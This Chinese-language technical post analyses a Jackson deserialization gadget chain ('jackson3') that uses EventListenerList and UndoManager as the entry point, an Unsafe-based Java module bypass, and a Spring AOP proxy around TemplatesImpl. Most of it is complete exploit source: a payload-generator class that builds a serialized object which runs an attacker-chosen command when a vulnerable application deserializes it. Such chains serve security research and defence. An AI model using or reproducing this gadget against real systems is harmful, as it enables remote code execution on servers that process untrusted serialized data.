jackson3 链浅析

换新入口

jackson2链中的入口,在JDK17里 BadAttributeValueExpException 利用不了了,没有触发 toString 的点了

  • 所以通过入口 EventListenerList#readObject , 来利用字符串与对象的拼接触发 toString

绕过模块化

java
1
2
3
4
5
6
7
8
9
10
11
12
13
public static void patchModule(Class clazz, Class goalclass) {
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
Class currentClass = clazz;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, ObjectModule);
} catch (Exception e) {
}
}

具体是这段,也就是通过 unsafe.getAndSetObject 修改模块对象一致

但是实际发现在 JDK8 时不需要这段也可以利用成功。

跟下来发现这段,意思是被调用类没有模块名字的话就直接返回 true,那 JDK8 中并没有引入JPMS所以模块为空。

AOP代理

加了aop,类代理后是 javax.xml.transform.Templates ,在 java.xml 包名下,因此绕过了包管理机制

EXP

所以在JDK8下最终的gadget为

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.qi4l.JYso.gadgets;

import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Gadgets;

import javassist.ClassClassPath;

import org.springframework.aop.framework.AdvisedSupport;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisorChainFactory;

import javax.xml.transform.Templates;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.*;

import java.util.Vector;

import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;


@Dependencies({"spring-apo:6.2.10"})
public class Jackson3 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));

POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory")));
final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory");
insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;");
Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory);

Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

return proxy;
}

public static Object getEventListenerList(Object obj) throws Exception {
//EventListenerList list = new EventListenerList();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList")));
final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList");
insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;");
Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();

//UndoManager undomanager = new UndoManager();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager")));
final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager");
insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;");
Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}

public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}

@Override
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception EE) {

}

POJONode node = new POJONode(makeTemplatesImplAopProxy(command));

Object eventListenerList = getEventListenerList(node);

return eventListenerList;
}


}